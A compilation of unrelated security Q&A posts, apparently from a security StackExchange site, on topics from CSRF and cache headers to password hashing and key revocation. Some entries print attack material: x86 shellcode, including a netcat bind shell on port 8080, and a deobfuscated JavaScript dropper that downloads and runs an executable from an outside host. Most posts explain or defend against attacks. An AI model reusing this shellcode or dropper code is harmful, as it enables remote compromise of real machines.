I can't point to any particular attack that will necessarily cause problems for you, but there are subtle vulnerabilities if you allow processing of a GET request to cause side effects, so if you allow GET requests to have side effects, you're starting to edge into "there be dragons" territory.  For instance, I know of one subtle attack on sites that use the Referer header to defend against CSRF attacks, and that allow GET requests to have side effects.  Browsers haven't deployed fixes to stop that attack because the reaction is "duh, GET requests aren't supposed to have side effects, so it's the web site's own fault".  So rather than enter potentially dangerous territory, I suggest you set up your web server so it only processes those requests via POST, not via GET.


Interactive shell not opening I'm performing a buffer overflow attack on a binary and I managed to get proper return address and execute my shell code. It successfully ran the shell code. But I'm not getting a shell.

When I type ls, it just closes the interactive session. Any ideas?

PS: password incorrect error is just a print statement.

following is the shell Code I'm using:

xor    %eax,%eax
push   %eax
push   $0x68732f2f
push   $0x6e69622f
mov    %esp,%ebx
mov    %eax,%ecx
mov    %eax,%edx
mov    $0xb,%al
int    $0x80

After going through the return status of the program I realised that, the program was executing the shell code and exiting. So, Instead of binding the shell to stdin, I wrote a shell code that binds /bin/sh to port 8080 using netcat. This did the trick.

Following is the shell code I used:

08048060 <_start>:
 8048060:       eb 2a                   jmp    804808c <GotoCall>

08048062 <shellcode>:
 8048062:       5e                      pop    %esi
 8048063:       31 c0                   xor    %eax,%eax
 8048065:       88 46 07                mov    %al,0x7(%esi)
 8048068:       88 46 0f                mov    %al,0xf(%esi)
 804806b:       88 46 19                mov    %al,0x19(%esi)
 804806e:       89 76 1a                mov    %esi,0x1a(%esi)
 8048071:       8d 5e 08                lea    0x8(%esi),%ebx
 8048074:       89 5e 1e                mov    %ebx,0x1e(%esi)
 8048077:       8d 5e 10                lea    0x10(%esi),%ebx
 804807a:       89 5e 22                mov    %ebx,0x22(%esi)
 804807d:       89 46 26                mov    %eax,0x26(%esi)
 8048080:       b0 0b                   mov    $0xb,%al
 8048082:       89 f3                   mov    %esi,%ebx
 8048084:       8d 4e 1a                lea    0x1a(%esi),%ecx
 8048087:       8d 56 26                lea    0x26(%esi),%edx
 804808a:       cd 80                   int    $0x80

0804808c <GotoCall>:
 804808c:       e8 d1 ff ff ff          call   8048062 <shellcode>
 8048091:       2f                      das
 8048092:       62 69 6e                bound  %ebp,0x6e(%ecx)
 8048095:       2f                      das
 8048096:       6e                      outsb  %ds:(%esi),(%dx)
 8048097:       63 23                   arpl   %sp,(%ebx)
 8048099:       2d 6c 70 38 30          sub    $0x3038706c,%eax
 804809e:       38 30                   cmp    %dh,(%eax)
 80480a0:       23 2d 65 2f 62 69       and    0x69622f65,%ebp
 80480a6:       6e                      outsb  %ds:(%esi),(%dx)
 80480a7:       2f                      das
 80480a8:       73 68                   jae    8048112 <GotoCall+0x86>
 80480aa:       23 41 41                and    0x41(%ecx),%eax
 80480ad:       41                      inc    %ecx
 80480ae:       41                      inc    %ecx
 80480af:       42                      inc    %edx
 80480b0:       42                      inc    %edx
 80480b1:       42                      inc    %edx
 80480b2:       42                      inc    %edx
 80480b3:       43                      inc    %ebx
 80480b4:       43                      inc    %ebx
 80480b5:       43                      inc    %ebx
 80480b6:       43                      inc    %ebx
 80480b7:       44                      inc    %esp
 80480b8:       44                      inc    %esp
 80480b9:       44                      inc    %esp
 80480ba:       44                      inc    %esp


Encrypting file in Javascript before sending them to Google Storage I am looking into allowing user of our website to upload their file directly to GCE storage without sending the file to our server.

But we want the file to first be encrypted before saving it on GCE.
The client does not need access to the file nor the encryption key it generated once it is done with the upload.

Therefore, what I am thinking about is:

client (javascript running in browser) generate a random symmetric key, encrypt the file and upload it to GCE
client send the key to the server and destroy it

Communication between client & servers is of course over https.

Questions:

Is this approach secure? If not, why?
Would it be better to use a hybrid encryption? Using a public-key to encrypt the newly generated symmetric key before sending it to the server. If so, what's the benefit?

Correct me if wrong, but I would prefer to avoid only using asymmetric encryption since we may encrypt rather large file and I believe asymmetric encryption does not perform well in that case.

Thanks

Firstly I'd like to propose an edit to your question.

  "The client WILL not have access to the file once it is done uploading
  it."

to

"The client SHOULD not have access to the file once it is done uploading it."

You should always consider that a malicious actor could retrieve your data from storage and consider if your assets are appropriately protected if that happens.

Considerations here are that you should never expose an encryption key to anyone that you do not want to have access to the data.

You should consider how secure and how random your random key generator is, that anyone with access to the javascript can see how it works and could potentially predict keys and also that you are then sending this key over to the server which could be visible to certain MITM attacks.

You are much better off in this case using asymmetric encryption, encrypting on the client side with the public key and allowing decryption only with your scret private key


Q: What happened to socat? I saw elsewhere some discussions on an error (or backdoor) in socat but find it difficult to get from the (anyway not well ordered and fairly large volume) materials the essence of what had actually happened. Apparently a certain number involved was claimed to have not been properly chosen. But exactly which number and why it was inappropriate (such that I could eventually check the claim)? Thanks in advance.

I think there are plentiful of sources to answer your question, but to give you the key points from http://arstechnica.com/security/2016/02/crypto-flaw-was-so-glaring-it-may-be-intentional-eavesdropping-backdoor/:

  ... when using the Diffie-Hellman method to establish a cryptographic key, Socat used a non-prime parameter to negotiate the key, an omission that violates one of the most basic cryptographic principles.

The details of why this is a problem need a much deeper explanation and mathematics is involved. See a recent question on crypto.so for details: How does a non-prime modulus for Diffie-Hellman allow for a backdoor?.

The relevant commit which added the backdoor  is here.


Is cache-control: no-cache enough for sensitive information like bank accounts, etc.? I have read somewhere that when storing sensitive information on a website you should include cache-control: no-store for telling the browser not to store that information on the local system. But I think when cache-control: no-cache is used it just tells the browser to not cache that page.

So during my one of my security assessments, I came across a website that is using only cache-control: no-cache header in responses containing sensitive information like API keys, credit cards, and bank accounts.

Should such responses contain cache-control: no-store, pragma: no-cache in responses for a better security or is cache-control: no-cache enough?

No, cache-control: no-cache will not prevent a browser cache from storing response data. Use cache-control: no-store instead.

According to RFC 7234, section 5.2.2.2:

  The "no-cache" response directive indicates that the response MUST NOT be used to satisfy a subsequent request without successful validation on the origin server.

Note that "without successful validation" implies that the cached response may be used if validation with the origin server succeeds. (The validation process is described in section 4.3.) Therefore, cache-control: no-cache does not prevent the user agent from storing the content of the response.

pragma: no-cache is also incorrect for the same reason. See RFC 7234, section 5.4:

  When the Cache-Control header field is not present in a request, caches MUST consider the no-cache request pragma-directive as having the same effect as if "Cache-Control: no-cache" were present (see Section 5.2.1).

In contrast, RFC 7234, section 5.2.2.3 says:

  The "no-store" response directive indicates that a cache MUST NOT store any part of either the immediate request or response.  This directive applies to both private and shared caches.  "MUST NOT store" in this context means that the cache MUST NOT intentionally store the information in non-volatile storage, and MUST make a best-effort attempt to remove the information from volatile storage as promptly as possible after forwarding it.

This sounds much closer to what you're looking for.


Is this an XSS vulnerability? My company recently had a security assessment done on our website and we had a XSS vulnerability reported.  Below are the details of the reported vulnerability:

If a user hits a URL like the one below:

mysite.com/Secure/Account/Addresses.aspx/%32%35

You can find the following when the page is rendered:

<script src="/Secure/Account/Addresses.aspx/25?_TSM_HiddenField_=ctl00_ContentPlaceHolder1_ScriptManager1_HiddenField&amp;_TSM_CombinedScripts_=%3b%3bAjaxControlTo.....{goes on for a while}" type = text/javascript"></script>
                                            ^ASCII characters here                                                                                ^truncating actual value for brevity's sake

As you can see the ASCII codes are converted to their character values (2 and 5 in this case) and rendered as part of a script tag. If I swap out the %32%35 for different values I get the results below:

%32%35%3E which should render as 25< the page throws a 400 error
%32%35%22 which should render as 25" it actually renders 25&quot;

My question is if this actually an XSS vulnerability?  If so, what payload could be passed in to execute an attack?

On it's face, because it takes encoded characters and is handled by the page code, it gets classified as an XSS vulnerability. This does not mean that it is a XSS vulnerability for your site, but it is suspicious.

As for the process to determine is there is a risk, you need to do a little fuzzing to see how your site responds. XSS fuzzing options abound with a search.


Will I jeopardize security if I store the first three characters (hashed) in a separate table? In order for a customer service representative to identify a customer, they'd like to ask the customer for the three first characters of her password.

The minimum length of the password is currently eight characters, a "big" salt is used, and the hashing solution is BCrypt.

The idea is to hash and store the first three characters separately.

If an attacker gets access to the stored hashes and knows that each of these only encodes a single character he can brute-force this character with very few guesses. The salt does not protect against this since it is part of the stored password hash and thus known to the attacker. The slow-down done by bcrypt does not help either since only a few characters are to guess.

Even worse, once the attacker got access to the first 3 characters of the password this easy way brute-forcing the remaining characters is considerably less effort as if the password would need to be brute-forced in full.

If there is no separate hash for each of the first 3 characters but only one hash over all three together it is not as insecure as with three one-letter passwords but still totally insecure.

In order to make the problem of storing one or few instead of all characters of a password in a separate hash more clear show the math involved consider the following an example:

Assuming that a password consists of 100 random digits.
When brute-forcing this password at once an attacker would need to check at most all 2^100 permutations and on average the half which is still too much for practical attacks.
But, if all these digits are stored in separate hashes and the attacker thus gets a positive feedback already after cracking the digit for a specific position he only needs at most 10 attempts for each position and thus 10*100 attempts in total. This makes the password trivially to crack within a short time even if each attempt would take a full second. And no salt will protect against this.
If you don't hash a single digit but only combinations of 3 digits it gets a little bit better but is still far from secure. In this case each of these hashes for 3 digits would need at most 1000 tries. With 33 of such hashes (and one for a single digit)  o store the original 100 digit password an attacker would need at most 33*1000+10 attempts, i.e. it is still absurdly insecure.


How to harden my Buffalo LinkStation Pro? The Buffalo LinkStation Pro Duo that we use can be pretty easily hacked into. The good thing about this is that this NAS runs Linux and can therby be improved in features, e.g. running an NFS or LDAP service as well. The bad thing is, anyone with access to the LAN can become root on the device - I tested that (using a program called ACP Commander which basically allowed me to run one shell command as root at a time to inject my public SSH key into /root/.ssh/allowed_keys). It also seems to be possible to flash the NAS to use a modified firmware, although I did not verify this. How can I secure the LinkStation to no longer provide these exploits? Maintaining the capability to update the firmware if necessary, preferably without loosing my root access, would be nice...

Maybe I'm missing something here but this seems pretty simple to me: use the standard ACL list to limit access to /root/.ssh/allowed_keys so that only root has access then put a strong password on your root account and block/remove all services like telnet which allow you to administrate the machine without SSH.


Bug bounties - Shoud I report 0days in third-party components? Assuming that:

Vulnerabilities in third party components are not explicitly excluded in the scope of the program.
The issue is reproducible in the specific target.

Should I report the issue to the third party developer only, or to the program too? If the component is used and exploitable in X applications, should I claim a bounty for all of them?

EDIT: It seems that big programs regularly pay bounties for vulnerabilities in third party components. Example (May be NSFW)

It is highly likely that the developer implementing the vulnerable piece of code would be restricted to modify it either by a license or by inability to do so because of either no sufficient knowledge to modify the code, no access to it or other similar impediments. This being said, you ought to report the vulnerability to the third-party developer who should then take steps to mitigate the issue and push the changes to anyone using the code.

It is recommended that you report the issue to any affected programs or applications, but that's up to you - after all, there aren't any regulations on vulnerability disclosure and the only guideline is your ethical reasoning.

To directly answer your question, if the developer of the vulnerable code is responsible for its maintenance (depending on the software license), they would most likely be the only party who would be willing or eligible to pay you a bounty. However, disclosing the vulnerability to any affected parties is recommended and they might also be willing to reward you depending on the severity of the vulnerability and their ability to mitigate it.


Is silverlight and Java running on the web browser capable of saving "state" into the user's local machines? I am aware that even after we have cleared our cache and cookies, websites can still save files/information into our computer using Flash (Flash ever cookies),

I was wondering does other plugins like Silverlight and Java have this problem?

Effectively, the question is:

When I use Incognito, what technologies will allow webpages to escape this incognito cage ?

Actually, depending on the browser and plugins used, there are many ways for a website to store persistent information on users' computer. It's not cookies and cache anymore. Some of these new methods require user confirmation, some don't - it also varies by browser. Flash has Local Shared Objects, Silverlight has Isolated Storage, HTML5 itself gives Offline Application cache, Session Storage and Local Storage.

It's not easy to clean them all at once. In fact, there is a proof-of-concept project that uses all those tricky ways and many others to create a super-persistent-and-resurecting-cookie - Evercookie. Of course, there is also an Evercookie killer called Nevercookie.


I'm an idiot. Need help with JavaScript "codebreaking" and analysis I accidentally executed a .js file from a phishing source with Windows Script Host. If possible I really don't want to reformat. If anyone could analyse this file it'd be awesome.

I'm running Windows 7, 64bit.

You can find the JS file in github. It's around 50,000 chars. A lot of it are dummy functions.

Here are Virus scanner results.

Edit: Not a duplicate because the intent of the virus is different to others. Same obfuscation idea, different content.

How to deobfuscate

All the functions

All the strangely named functions just returns whatever is passed into them. So code like xmudzymza(["an"][0]) is actually just a convoluted way of writing "an". If you copy paste the code into an editor with syntax highlighting you can read large parts of the deobfuscated code by just ignoring everything that isn't highlighted as string literals!

Creating and testing ActiveXObject

Among all the functions you have a not so well hidden ActiveXObject:

uzuqevr = ActiveXObject;

Right before the if clause it pops up again:

var agwibak = new uzuqevr(obrujaw(["Sc"][0]) + ... + qowokl(["ct"][0]);
var ctaqev = new['ukehkyk', Function, 'lebate'][1](repu(["va"][0]) + ... + nwavale([";"][0]));

If you run just the long string concatenation inside the parantesis in the console, you get the string Scripting.FileSystemObject. So what we have is actually this:

var agwibak = new ActiveXObject("Scripting.FileSystemObject");

On the line after that we have this:

var ctaqev = new['ukehkyk', Function, 'lebate'][1](repu(["va"][0]) + ... + nwavale([";"][0]));

It creates a new of the first element in the vector - that is Function. The function constructor creates a function from a string of code, sort of like eval. The function is assigned to ctagev. Just like above we can evaluate the long string concatenation in the console (without actually running it). This is the function:

(function() {
    var ggelkigtu = agwibak.GetDrive(agwibak.GetDriveName('C:\oeokiotifgjvdkslsdfsdghrefvdfbdhgdgdfgd\dsgdgdfgdfgdf\354353535345\sdfsfsdfsdfdsf')).SerialNumber; if(ggelkigtu < 0 || ggelkigtu > 0) return true; else return false;
})

That function is then called in the if clause:

if (ctaqev()) { ... }

So what does it do? It tries to create an ActiveXObject and assign it to ggelkigtu. It then returns a boolean based on ggelkigtu < 0 || ggelkigtu > 0. If the JS interpreter does not support ActiveX ggelkigtu will be undefined, and that condition will be false. So if your interpreter does not support ActiveX the content of the if clause will be ignored.

Inside the if clause

To obfuscate this part you need to do two things:

Change the names of the ridiculusly long variable names (by just doing search and replace).
Again, remove the xxxxxx(["ab"][0]) to get the actual strings.

What you get is this:

if (ctaqev()) {
    long1 = this["WScript"];
    long2 = long1["CreateObject"]("Scripting.FileSystemObject");
    long3 = long1["CreateObject"]("WScript.Shell");
    long4 = long1["CreateObject"]("L2TP");
    long5 = long1["CreateObject"]("ADODB.Stream");
    long6 = long2["GetSpecialFolder"]("2");
    long7 = long2["GetTempName"]();
    long8 = long4["open"]("T", "http://moosetraxtax.com/images/total.exe", "0");
    long8 = long4["send"]();
    long5["type"] = ["1"];
    long9 = long4["ResponseBody"];
    long10 = long1["ScriptFullName"];
    long8 = long5["Open"]();
    long8 = long5["Write"](long9);
    long8 = long5["SaveToFile"](long6 + long7);
    long8 = long5["Close"]();
    long8 = long3["run"]("cmd.exe /c " + long6 + long7, "0");
    long8 = long2["deleteFile"](long10);

}
long1["echo"]("The file is corrupt and cannot be opened");

Cleaning it up some more (by using . instead of [""] and changing the variable names again) we get this:

if(ctaqev()) {
    fileSystem = WScript.CreateObject("Scripting.FileSystemObject");
    shell = WScript.CreateObject("WScript.Shell");
    l2tp = WScript.CreateObject("L2TP");
    stream = WScript.CreateObject("ADODB.Stream");
    folder = fileSystem.GetSpecialFoldder("2");
    tempName = fileSystem.GetTempName();
    x = l2tp.open("T", "http://moosetraxtax.com/images/total.exe", "0");
    x = l2tp.send();
    stream.type = "1";
    response = l2tp.ResponseBody;
    scriptName = WScript.ScriptFullName;
    x = stream.Open()
    x = stream.Write(response);
    x = stream.SaveToFile(folder + tempName);
    x = stream.Close();
    x = shell.run("cmd.exe /c " + folder + tempName, "0");
    x = fileSystem.deleteFile(scriptName);
}
WScript.echo("The file is corrupt and cannot be opened");

What does it do? Are you infected?

I dont know much about ActiveX, but it sure looks like it downloads a file from http://moosetraxtax.com/images/total.exe and runs it. Surprisingly, only three AV vendors identify that URL as malware on Virus Total, but I think we can be pretty sure it is.

If you want to know what you got, you can try to download it from there and investigate. Obviously that is a risky activity, and there is no guarantee you will get the same thing.

Running this script in a modern browser would be safe, because they do not support ActiveX. But you ran it with Windows Script Host. I don't know what if any limitations a script executed by WSH has, but to be on the safe side I would assume that the computer is infected and treat it as such.

If you want to make sure you really were infected, I would recommend the following:

Find out what WSH really allows a script to do. (I don't know the answer to that, sorry.)
Check the logs for your firewall (if you have one) to see if the request was blocked.


Can someone be connected to a router but not be in the DHCP table of a router First I would like to say that I didn't know how to format the proper title but below is the issue.

I have a router that connects to the ISP but in this router there X people connected, i know all of these devices. I even reviewed this cited below with only me connected.

The issue is as follow, the statics the router gives (ping/up/down/...) are not close to proper of what I am supposed to have. At first I thought its from the ISP, maybe an infrastructure issue, I still think it may be is/was but I decided to use a software to check something out. Its called selfishnet for whoever knows it. Now using this stats became real, what is supposed to be. So i started thinking what if someone in the area was connecting to the frame then again I checked the DHCP table of the router still nothing, just me. At this point I suppose two things (beside an ISP issue). Someone is on the frame all the time but is somehow not appearing in the dhcp table or some activity with the softwares i use is draining but i already checked that and there is nothing abnormal.

Maybe there is something I missed and should check, I apologize in advance I dont know much in the security field.

Someone can definitely be connected to your router without showing up in your DHCP lease table. Anybody who has given themselves a static IP address will not show up in your DHCP table.

In order to do this, someone would need to know some basic things like

What the gateway IP address is
The subnet mask
an available IP address that would not cause a conflict with another device on the network.

This could easily be done by connecting via DHCP, then statically setting your IP address to the same settings the DHCP server gave. Now in that instance, the DHCP lease would still show up in the table until it expired, but once the lease expired that device could exist on your network and not show up in your DHCP server. They would need to have physical access to the inside of your network to make this happen. This could be a wireless connection, or physically plugging into a switch  or router.

Now with that said, I highly doubt that the issues your experiencing are caused by a rogue actor on your network sucking up all your bandwidth. In your post you say that the statistics the router gives the upload / download speed are not what you would expect. I'm going to assume you know that you're not always going to be downloading or uploading at peak speeds. In addition if you did have a rogue device sucking up your bandwidth, this would be shown in your router statistics (this is a generalization, but I assume you can see realtime transmission statistics based on what you've said in your post).

The long answer to your short question is that if you are not receiving speeds that you would expect (run something like Speedtest.net to confirm your upload / download speeds) then this is likely an ISP issue. This commonly happens in instances where the signal is not strong enough, or perhaps there is an MTU issue. Contact your ISP and they will walk you through troubleshooting.


how long do lowercase alphabets-only passwords have to be to match more complex ones? Lowercase-only passwords are convenient for phones since we dont hit shift or go to characters page(each which is as much effort as hitting a character in my Android devices). But how long would a lowercase-only password have to be to match a 10-character all-chars password?

There is a table at http://en.wikipedia.org/wiki/Password_strength comparing the various mixtures and their strength. Don't forget that the characters should be chosen at random! If not you enter the domain of passphrases. There is an interesting graph at http://blog.webernetz.net/2013/07/30/password-strengthentropy-characters-vs-words/ comparing the entropy of passphrases and passwords. And in the text it addresses also light variations of pass phrases. Again the words of a passphrase should be chosen at random for these calculations and graphs to be valid.

To answer the question: But how long would a lowercase-only password have to be to match a 10-character all-chars password: according to that the wiki table the answer is 14. If you want to do the math:= lower case: 26^14= 6.4E+19 is about equal to all 96: 96^10=6.6E+19


Get senders location via IP in email Header I have email headers of people I have never met with their IP.I need to know and validate their exact location as they expect to take money from me but I do not wish to be fooled.

As you have asked the question, the only possible answer is do not hope to be able to relyably do that
The problem in SMTP headers, is that any header could be forged, even if all cannot be forged at the same time. And free VPNs are great at presenting an IP address which is not the original one. So here is a simple possibility:

I am currently in a country with poor security reputation but I know free VPNs in England, Germany or France, and use a mail account in the same country
I use one of those VPN to connect the Webmail host

Then all IP addresses that you will be able to find in the mail will say that the mail originates from England, Germany or France...
And I was not even speaking of the From: address...


How to recognize if this code is dangerous I just received some obfuscated code and would like to de-obfuscate it. Could someone explain which encryption method is being used?
And how I could reverse it.
The code is:

On error resume next
Data="}èŝŸȠɩʽ̟ͪρФШҘӔղ׏ܦݷބߢࡳ࢏ࣜ"
Container1=""
id="4d9fdb14-d482-4fc5-a910-9af261a17650"
random1=0
random2=0
do until random1=len(Data)
random1=random1+1
random2=random2+1
if random2=len(id) then random2=1
Container1=Container1 & ChrW(AscW(Mid(Data, random1, 1)) - random2 * 86)
loop
if len(Container1) > 282 then
execute Container1
end if

The complete code in pastebin:
https://pastebin.com/WJTgKmP1

Print instead of executing

In this case, you have the deobfuscation code right in front of you. While it may be interesting to understand how it works, that's not necessary - it's obvious that the process flow is that it deobfuscates some payload to variable Container1 which then gets executed.

What you can do is replace the execute Container1 with something like (assuming this is VBA) MsgBox Container1 and just run the code. Of course, it's safer to run any potentially malicious code in a sandbox virtual machine and not on a computer that you care about, even if you believe that you know what it does and doesn't do - as anyone can make a mistake in evaluating that.

It's quite plausible that this will just reveal some 'second stage' that will still need further analysis and deobfuscation, but that's a different learning exercise.


Spam title includes unusual words from my recent emails Occasionally, I get spam that includes in the subject line an unusual name or word that appears in other (legitimate) messages I recently received.

Perhaps a coincidence, I thought, until it happened twice in recent days with unusual words that the spammer, somehow, managed to pick from other messages.

This morning a friend sent me a message with "Raspberry" in the body. I had not used that word in about a year. And less than 2 hours later I got a spam message with the subject "Raspberry".

This is not a coincidence: somebody is reading my emails!

I am a PC professional, and I can attest that my PC has been fully tested and it looks absolutely free of any malware.

Could this be happening at the server level? My email is with a ISP who swears he has no problem.

A possible explanation is that the sender's machine is infected with some malware. When you receive an email from Bob, by definition, Bob's computer saw the whole contents; and also your email address. It seems easy, for some malware residing on Bob's computer, to send some spam with the same word, on the basis that you may be interested in the subject.

It is one of the dark points of spam: you get spammed because the machines and address books of other people are plundered by malware.

Another possible explanation is coincidence. You received an email with "Raspberry" in the body. But think of the millions of people who may also have received spams with "raspberry" in them while that had not used that word previously; and of the other millions of people who did send emails with "raspberry" in it, and yet did not receive spam containing that word. None of them posted in security.SE. Technical term is the anthropic principle: if you bring your attention only to seemingly "extraordinary" situations then you will see at lot of them, but not because they happen more often than predicted, only because you choose (more or less consciously) to disregard more "normal" occurrences.

My server keeps a copy of the last two weeks of spams that I receive and that my antispam filter automatically recognizes. That's, right now, 1170 spams (a figure which is not very big; around 2008 I was receiving more than 400 spams per day). Among these 1170 spams, one of them happens to use the "raspberry" word (as part of an email address), and that's not for my own using that word.


Is it a win for an attacker, if they overflow the most recently malloc'd buffer on the heap? If I call malloc and then overflow the buffer I created, I am then writing to unused memory. Is there any security impact from me being able to do so? I would think you'd want to call malloc twice, then overflow the first buffer you allocated. That way you can overwrite heap management metadata in the second buffer, or other data in the second buffer.

EDIT: Please assume I can only overflow a kilobyte and this is a on Debian Wheezy. The heap and stack are very far apart.

A win for an attacker is a bit of a vague term.

Depending on other safeguards you could possibly fill up memory and overflow the stack. Or you could initialize memory which might be used later with certain values. Or you could just make whatever entry is in this spot too big and make other code fail which relies on its size.

Exploiting usually relies on a careful combination of many things and people find very creative ways to use even the most innocuous errors.

Even overflows by a single byte have been exploited.

Is it a win? Depends on the circumstances. Is it a problem? Definitely.


Tool for generating MD4 collisions There are a lot of research papers available online that discuss vulnerabilities of MD4 algorithm, but I couldn't find any implementation of these.

Uptill now I have used tools like John the Ripper or MDCrack and tried to bruteforce the hash. But bruteforcing seems like a waste of CPU power when collision attacks can be done much more efficiently. (In few seconds I've read).

Are there any available tools for generating collisions for MD4 hashing algorithms?

Some googling pointed me to this source code file which, when compiled, should generate MD4 collisions using Wang's method (published in 2005). This is not the fastest collision attack for MD4, but it is enough to produce thousands of them.

However, tools like John the Ripper are for finding passwords from their hash; collisions are no help at all for such a task. Finding a collision is about computing two distinct strings m and m' which, when both hashed, yield the same value. For collisions, we do not care which hash value we actually obtain, as long as we get the same for both messages. For cracking password, you work over a fixed hash value which you cannot choose (you found it in a database or a similar source), and you try to find a string p which hashes to that specific value (and none other): this is a preimage attack.

MD4 is also academically broken with regards to preimages; an attack was found by Leurent in 2008. Mind the "academically" term, though: the attack has cost 2102 evaluations of the hash function. This is millions of times faster than the robustness expected from a hash function with a 128-bit output (which should resist up to cost 2128); however, this attack is still way beyond that which is technologically doable right now (a very big organization with lots of computers and money, like Google, might dedicate its vast wealth to the problem and perform about one billionth of the work within a few years, but no more).

For cracking passwords which were hashed with MD4, the best known method is still a "dictionary attack", also known as "brute force": try potential passwords until a match is found. If the hashing process did not include a per-password random element (a "salt") then the brute force effort can be shared through the use of precomputed tables (e.g. rainbow tables) but the tables still have to be built at least once.


Can a host access a VPS disk's encrypted directory directly while running? I have an Ubuntu VPS running at a remote host. The disk is not encrypted but I have a specific directory that is encrypted for which I must provide a password via an SSH session (not stored anywhere on the VPS) to "unlock" it so that the services can run on this VPS and serve the content decrypted.
Assuming the bad admin cannot login to the system like I do via SSH. Can the bad admin read the encrypted directory's decrypted content while running and/or can the bad admin gain access to the in-memory key for the encrypted directory?

Yes
Your situation violates three of the Ten Immutable Laws of Security, namely:

Law #2: If a bad guy can alter the operating system on your computer, it’s not your computer anymore

Law #3: If a bad guy has unrestricted physical access to your computer, it’s not your computer anymore

Law #6: A computer is only as secure as the administrator is trustworthy

With enough effort the admin definitely can dump the memory and extract either the key or decrypted data while the VPS is running and the directory is decrypted. Alternatively, (since the disk is not encrypted) the rogue admin could modify the SSH server binary to log the password in cleartext.
What can you do?
The only way to be absolutely sure would be to host your own server.
Or you could look into Confidential Computing VMs. However, I am not sure how foolproof these are, so proceed at your own risk.


How exactly does Burp Sequencer calculate the values it derives? I'm testing a Web application based on SAP for a customer.  One of the checks we normally do is to analyse the cookie holding the session token to make sure that it is sufficiently random and you can't predict the next valid token.  We do this using Burp sequencer.
On this occasion I noticed that the cookie appeared to have a large amount of static data at the beginning of it.  I Base64 decoded it and found out that the first 130 characters (in text) contain the user name, customer code and date/time.  I believe this is a known 'feature' of SAP.
What I am struggling to be able to explain in my report is how the results of the decoder match up to the sequencer.  For example - in clear text in the cookie the static data should start at position zero and finish at character 130 - but this does not correspond to the values seen in the character analysis in the sequencer - nor does the number of characters shown in total correspond to the actual character count in the cookie.  I can see the static portion in the sequencer, and even the entropy spike where the time portion changes, I just can't correlate the character positions. In addition, when I look at the bit analysis in the sequencer, the values seem to be reversed, so that instead of seeing the static value at the start of the sequence - I can see it at the end.

I hope someone can explain to me what I am seeing and many thanks for any help.

There is an explanation of the types of statistical tests that Burp Sequencer performs to test randomness. Below is the initial high level description and the page goes on to describe characteristics of the individual tests that are run which include character and bit analysis of the token data.

  Burp Sequencer employs standard statistical tests for randomness. These are based on the principle of testing a hypothesis against a sample of evidence, and calculating the probability of the observed data occurring, assuming that the hypothesis is true:

  The hypothesis to be tested is: that the tokens are randomly generated.
  Each test observes specific properties of the sample that are likely to have certain characteristics if the tokens are randomly generated.
  The probability of the observed characteristics occurring is calculated, working on the assumption that the hypothesis is true.
  If this probability falls below a certain level (the "significance level") then the hypothesis is rejected and the tokens are deemed to be non-random.

Hope this helps some.


How secure are hashed passwords that are salted too? SAP Netweaver has its passwords hashed and also salted. But I read that a tool such as John the Ripper can bruteforce them.

So how does security varies when passwords are hashed, in particular in the sap system?

what if I have a password such is this... a12345 ?

Is it easy to bruteforce it, even though it is , lets say, salted?

A salt can make brute forcing much longer.  Assuming the attacker only has hashes, he will have to find out the hash algorithm and the salt.  You can sometimes tell the hash algo used by looking at the hash or at least narrow it down.  Next is finding the salt.  Usually a hacker probably has many hashes.  You can assume a user has the password called "password" or the hacker made their own account so they know the password, and start appending a salt until you get a match.  It's best to have unique salt per password to make this process more cumbersome, although they may focus all resources on an admin's hash.


Software Signing Standards Is there a software signing certificates standard, officially or by popularity?

As I understand the SSL/TLS/https certificates rules are specified by the RFCs. Mixed use of servers and clients from different vendors will just interoperate without a problem. Does such kind of standard ways exist for software signing?

Or is that each software OS would use their own way of signing and need the package vendors to follow? Or ask in a specific situation, if the package signing is working well on a Linux system, would it work on other OS or platforms?

The RFC's dont technically deal with standards for code signing or TLS/SSL per se. Rather, they set the standards for x.509 certificates and PKI. Such as how you should construct a x.509 certificate using asn1 (RFC 5280) and then how it should be encoded to create a certificate.
The standards for TLS/SSL and code signing certificates which are issued by Certificate Authorities (CA's) such as GlobalSign, Digicert, Sectigo, etc are subject to the CA/B forum Baseline requirements. Code signing certificates for the Windows ecosystem fall into this category.
However, if you are signing code on Linux you might be using a PGP certificate and key to apply the signature. In this scenario, you would be using the PGP web of trust instead of CA's.

As I understand the SSL/TLS/https certificates rules are specified by the RFCs. Mixed use of servers and clients from different vendors will just interoperate without a problem. Does such kind of standard ways exist for software signing?

Code signing, document signing, TLS/SSL, S/MIME, are all examples of different types of x.509 certificates being used for different purposes. The x.509 certificate and key files are essentially cross platform because they all adhere to the same RFC's on how to construct and use the files. You can use the x.509 certificate to apply a digital signature to a file. How to construct digital signatures is (I think) in RFC 2315.

Or is that each software OS would use their own way of signing and need the package vendors to follow? Or ask in a specific situation, if the package signing is working well on a Linux system, would it work on other OS or platforms?

How each OS handles the signatures varies. Windows requires code to be signed using a code signing certificate issued via a CA. If the code is executing at the kernal level, then you have to buy a EV Code Signing certificate and submit the code to Microsoft for review. Linux however does not require code to be signed by a code signing certificate. Instead, Linux uses the PGP web of trust to verify PGP signatures in the repository. Packages ported from Linux to Windows will not be trusted on Windows because Windows doesnt use the PGP web of trust. Same in reverse, Windows applications ported to Linux will not be trusted unless you sign it with a PGP key and you import the PGP certificate into the clients PGP keystore. Apple also has its own requirements and you can find their documentation here.


If a private key is believed to be compromised, how can the owner indicate what new public key to trust? Abstractly I'm thinking of a situation where there's an authority that houses public keys for users. Say a user goes about using their private key to sign messages but one day finds that their private key has been compromised. Assuming the cause of the original compromise has been fixed (to prevent a second compromise), how can the user publicly indicate not only "Do not use my previous public key" but also "This is my new public key and it can be trusted"?

If the user wasn't compromised then they could publish a signed message saying "Use this new public key" but this is no longer possible because there's no confidence in who signed the message once it's compromised. An Eve could create a new public/private pair and try to coerce people that this new pair is to be trusted, just like the user is trying to do with their new key.

I imagine there could be some sort of Certificate Revocation List but for public keys that a user could add their public key to once they believe they've been compromised. How then could a user re-establish trust with a new key?

I think if you continue down this line of thinking you will end up inventing Certificate Authorities.

Yes, any key should be able to revoke itself (ie sign a message saying "Don't trust any future message from this key"). Whether this goes onto a revocation list or some other mechanism depends on how the system is designed.

As for telling the world which key to trust next, well in a web-of-trust system like PGP there's really no way to do that - your key is gone. You need to start over with collecting signatures on a new key. In a PKI system with a CA you can contact the people who issued your certificate, prove your identity (over the phone or in person or whatever your policy requires) and then get them to issue you a new certificate.

